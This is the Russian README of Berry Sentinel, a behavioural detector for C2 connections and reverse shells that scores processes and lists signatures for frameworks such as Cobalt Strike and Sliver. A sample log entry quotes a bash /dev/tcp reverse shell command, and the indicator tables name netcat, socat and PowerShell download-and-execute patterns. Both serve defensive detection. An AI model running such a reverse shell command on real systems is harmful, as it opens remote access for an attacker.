
Berry Sentinel v5.0 — продвинутый поведенческий детектор C2 и reverse shell для систем Linux/Windows/Unix. Возможности: анализ соединений в реальном времени, эвристическая оценка, обнаружение сигнатур C2-фреймворков, анализ интервалов beacon-сигналов и интерактивный TUI на основе curses с механизмом завершения процессов.
Детектор поведения C2-соединений (Command & Control) в реальном времени
Zero-signature · Bulletproof Collection · Deep Scan · Kill Engine
Berry Sentinel отслеживает все активные сетевые подключения в вашей системе и анализирует поведение процессов, которые их создают, для обнаружения вредоносной активности — без использования баз сигнатур антивируса или списков заблокированных IP-адресов.
Обнаруживает reverse shells, webshells, RAT, C2-beacons и фреймворки, такие как Meterpreter, Cobalt Strike, Sliver или Empire, наблюдая за тем, как ведёт себя процесс: если интерпретатор Python имеет stdin, подключённый к удалённому сокету, это подозрительно, даже если IP-адрес неизвестен.
╔══════════════════════════════════════════════════════════════════════════════════╗
║ BERRY SENTINEL v5.0 — Детектор поведения C2 · TUI Интерактивный ║
║ Соединений: 38 │ Угроз: 2 │ Сигнатур: 1 │ via proc/open+ss │ 12ms │ #47 ║
╠══════════════════════════════════════════════════════════════════════════════════╣
║ ID SEV PTS PID PROC УДАЛЁННЫЙ СОСТОЯНИЕ СИГНАТУРЫ/ТЕГИ ║
╠══════════════════════════════════════════════════════════════════════════════════╣
║ 3 █КРИТИЧЕСКИ 85 1337 bash 1.2.3.4:4444 ESTAB ⚑Meterpreter SHELL→NET. ║
║ 7 ▲ВЫСОКИЙ 52 2048 python3 5.6.7.8:8443 ESTAB TLS-NOBR BCN(60s) ║
╚══════════════════════════════════════════════════════════════════════════════════╝
psutil опционально для дополнительного покрытия# Клонировать репозиторий
git clone https://github.com/dereeqw/BerrySentinel.git
cd BerrySentinel
# (Опционально, но рекомендуется) установить psutil
pip install psutil
# Запуск
python3 BerrySentinel.py
pkg install python
pip install psutil
python3 BerrySentinel.py --no-tui # curses может быть недоступен в Termux
curl -O https://raw.githubusercontent.com/dereeqw/BerrySentinel/main/BerrySentinel.py
python3 BerrySentinel.py
python3 BerrySentinel.py [опции]
Опции:
--all, -a Включить локальные/loopback-соединения (помимо удалённых)
--interval N, -i N Обновление каждые N секунд (по умолч.: 2, мин.: 0.5)
--log FILE, -l FILE Сохранять оповещения в файл (формат JSONL)
--json, -j Экспортировать полный JSON при выходе
--whitelist LIST IP-адреса или CIDR для игнорирования, через запятую
--no-color Без ANSI-цветов (полезно для пайпов или логов)
--verbose, -v Показывать все соединения, не только подозрительные
--top N, -t N Максимум строк в таблице (по умолч.: 50)
--diag, -d Диагностика: показывает, какие методы сбора работают
--no-tui Устаревший режим без curses (классический скролл, более портативный)
--version, -V Показать версию и выйти
# TUI интерактивный — рекомендуемый режим
python3 BerrySentinel.py
# Deep scan с root (доступ к памяти процессов)
sudo python3 BerrySentinel.py --all
# Сохранять оповещения и экспортировать JSON по завершении
python3 BerrySentinel.py --log /var/log/sentinel.log --json
# Игнорировать внутреннюю сеть и обновлять каждые 5 секунд
python3 BerrySentinel.py --whitelist 192.168.0.0/16,10.0.0.0/8 --interval 5
# Текстовый режим для использования в скриптах или по SSH без интерактивного терминала
python3 BerrySentinel.py --no-tui --no-color | tee monitoring.txt
# Посмотреть, какие методы сбора работают в текущей системе
python3 BerrySentinel.py --diag --no-tui
# Только серьёзные оповещения, обновление каждые 10 секунд, сохранить лог
sudo python3 BerrySentinel.py --all --interval 10 --log sentinel.log --json
Каждое соединение получает оценку от 0 до 100 на основе обнаруженных индикаторов:
Серьёзность в зависимости от оценки:
Berry Sentinel включает сигнатуры для следующих фреймворков (оценка по портам, имени процесса, командной строке и паттернам beacon):
Каждое оповещение записывается как отдельная строка JSON:
{
"ts": "2025-07-15T14:23:01.123456",
"id": 42,
"sev": "CRÍTICO",
"score": 85.0,
"pid": 1337,
"name": "bash",
"cmd": "bash -i >& /dev/tcp/1.2.3.4/4444 0>&1",
"remote": "1.2.3.4:4444",
"local": "192.168.1.10:52341",
"state": "ESTABLISHED",
"tags": ["SHELL→NET", "PIPE-REDIR", "C2P(4444)"],
"sigs": ["Meterpreter"],
"src": "proc/open(self)+ss+netstat"
}
Обработка с помощью jq:
# Отфильтровать только критические соединения
jq 'select(.sev == "CRÍTICO")' sentinel.log
# Показать все подозрительные PID
jq '[.pid] | unique' sentinel_export.json
# Поиск по конкретной сигнатуре
jq 'select(.sigs | contains(["CobaltStrike"]))' sentinel.log
BerrySentinel.py
├── Глобальные константы
│ ├── SHELL_BINS, SCRIPT_ENGINES — Имена оболочек и интерпретаторов
│ ├── C2_SUSPECT_PORTS — Типичные C2-порты
│ ├── PRIVATE_NETS — Диапазоны частных IP
│ └── C2_SIGNATURES — Сигнатуры известных фреймворков
│
├── Модели данных
│ ├── C2Signature — Определение C2-сигнатуры
│ ├── ProcInfo — Информация о процессе ОС
│ ├── Conn — Сетевое подключение + результат анализа
│ └── BeaconTracker — Детектор C2-beacon
│
├── Сбор данных
│ ├── Collector — Оркестрация нескольких сетевых источников
│ ├── parse_proc_net_content() — Парсер /proc/net/*
│ ├── build_inode_pid_map() — Карта inode→PID
│ ├── get_proc_info() — Информация о процессе через /proc
│ └── get_proc_info_psutil() — Информация о процессе через psutil
│
├── Анализ
│ ├── Engine.analyze() — Оценка + поведенческие теги
│ ├── Engine._beacon() — Обнаружение beacon
│ └── match_signatures() — Сопоставление с C2-сигнатурами
│
├── Вывод
│ ├── CursesTUI — TUI интерактивный (режим по умолчанию)
│ ├── LegacyTUI — ANSI-вывод без curses (запасной)
│ └── Logger — Лог JSONL на диск
│
└── Sentinel — Главный оркестратор
psutil — опционально, но настоятельно рекомендуется (pip install psutil)Без дополнительных зависимостей инструмент работает со стандартной библиотекой Python. psutil добавляет покрытие на macOS и Windows, где /proc отсутствует.
from BerrySentinel import C2Signature, C2_SIGNATURES
my_rat = C2Signature(
name="MyRAT",
description="Неавторизованный внутренний корпоративный RAT",
score_bonus=70,
checks=[
{"type": "port", "value": 6543},
{"type": "cmdline", "value": r"my_rat\.py|rat_agent"},
{"type": "procname", "value": r"^my_rat$"},
],
)
C2_SIGNATURES.append(my_rat)
import argparse
from BerrySentinel import Sentinel, Sev
args = argparse.Namespace(
all=True, interval=10, log=None, json=False,
whitelist="192.168.0.0/16", no_color=True,
verbose=False, top=100, diag=False, no_tui=True
)
s = Sentinel(args)
s._cycle_data()
for conn in s.last_conns:
if conn.severity >= Sev.HIGH:
proc = conn.proc
print(f"[ОПОВЕЩЕНИЕ] PID {conn.pid} ({proc.name if proc else '?'}) "
f"→ {conn.remote_addr}:{conn.remote_port} "
f"score={conn.score:.0f} tags={conn.tags}")
from BerrySentinel import Engine, Conn, Sev
class MyEngine(Engine):
KNOWN_C2_IPS = {"203.0.113.1", "198.51.100.42"}
def analyze(self, c: Conn) -> Conn:
c = super().analyze(c)
# Добавить собственную логику
if c.remote_addr in self.KNOWN_C2_IPS:
c.score = min(c.score + 40, 100)
c.tags.append("KNOWN-IOC-IP")
c.severity = Sev.CRITICAL
return c
Berry Sentinel предназначен для мониторинга вашей собственной системы или систем, на которые у вас есть явное разрешение. Kill Engine действует только по явному запросу пользователя. Используйте его ответственно и в соответствии с действующим законодательством вашей юрисдикции.
MIT — см. LICENSE
| Клавиша | Действие |
|---|
↑ / ↓ | Навигация между соединениями |
d / D | Показать панель деталей выбранного соединения |
k / K | Завершить процесс (запрашивает подтверждение PID) |
f / F | Циклическое переключение фильтра серьёзности: ВСЕ → СРЕДНИЙ → ВЫСОКИЙ → КРИТИЧЕСКИЙ |
r | Принудительное немедленное обновление |
ESC | Закрыть панель деталей или отменить операцию |
q | Выход |
| Индикатор | Баллы | Тег |
|---|
| stdin/stdout → socket | +55 | FD→SOCK |
| Двоичный файл оболочки с удалённым подключением | +40 | SHELL→NET |
| Webshell (оболочка как дочерний процесс Apache/Nginx) | +35 | WEBSHELL |
| Bind shell на высоком порту | +35 | BIND-SHELL |
| Использование netcat/socat | +35 | NETCAT |
Перенаправление /dev/tcp или mkfifo | +40 | PIPE-REDIR |
| Исполняемый файл удалён с диска | +25 | EXE-DEL! |
Исполняемый файл в /tmp или /dev/shm | +15 | EXE-TMP |
| Обнаружен beacon (циклическое подключение) | +25×conf | BCN(60s) |
| Сигнатура Meterpreter | +55 | SIG:Meterpreter |
| Сигнатура Cobalt Strike | +60 | SIG:CobaltStrike |
| Сигнатура Sliver | +58 | SIG:Sliver |
| Области памяти RWX | +20 | RWX(N) |
| LD_PRELOAD или HISTFILE=/dev/null | +10 | ENV:LD_PRELOAD |
| Интерпретатор скриптов, подключённый к сети | +25 | INTERP→NET |
| eval/exec в командной строке | +18 | EVAL |
| Удалённый PowerShell (IEX, DownloadString) | +30 | PS-REM |
| Оценка | Серьёзность | Цвет |
|---|
| ≥ 65 | КРИТИЧЕСКИЙ | 🔴 Ярко-красный |
| ≥ 45 | ВЫСОКИЙ | 🟠 Оранжевый |
| ≥ 25 | СРЕДНИЙ | 🟡 Жёлтый |
| ≥ 8 | НИЗКИЙ | 🔵 Голубой |
| < 8 | ИНФО | ⚪ Серый |
| Фреймворк | Бонусные баллы | Ключевые индикаторы |
|---|
| Meterpreter | +55 | Порт 4444, процесс ruby/msfconsole |
| Cobalt Strike | +60 | Порт 50050, beacon ~60s, процесс java |
| Sliver | +58 | Порт 31337/8888, beacon ~60s |
| Empire | +55 | Порт 1234/7777, PowerShell -enc |
| Brute Ratel | +62 | Порт 2083, процесс badger |
| Havoc | +58 | Порт 40056, demon.x64/x86 |
| Pupy RAT | +52 | Порт 9999, pupy.py |
| Merlin | +54 | Порт 8443, merlin-agent |
| Covenant | +54 | Порт 7443, GruntHTTP |
| PoshC2 | +52 | FComServer, ImplantCore |
| Mythic | +56 | Порт 7443, poseidon/apfell |
| QuasarRAT | +50 | Порт 4782-4785 |
| NetcatShell | +45 | socat exec bash, pty |
| DNS-C2 | +40 | Порт 53, dnscat/iodine |
| Система | Поддержка | Примечания |
|---|
| Linux | ✅ Полная | С root активируется deep scan |
| Android/Termux | ✅ Полная | Используйте --no-tui, если curses не работает |
| macOS | ⚠️ Частичная | Без /proc; использует netstat+psutil |
| Windows | ⚠️ Частичная | netstat+psutil, без анализа памяти |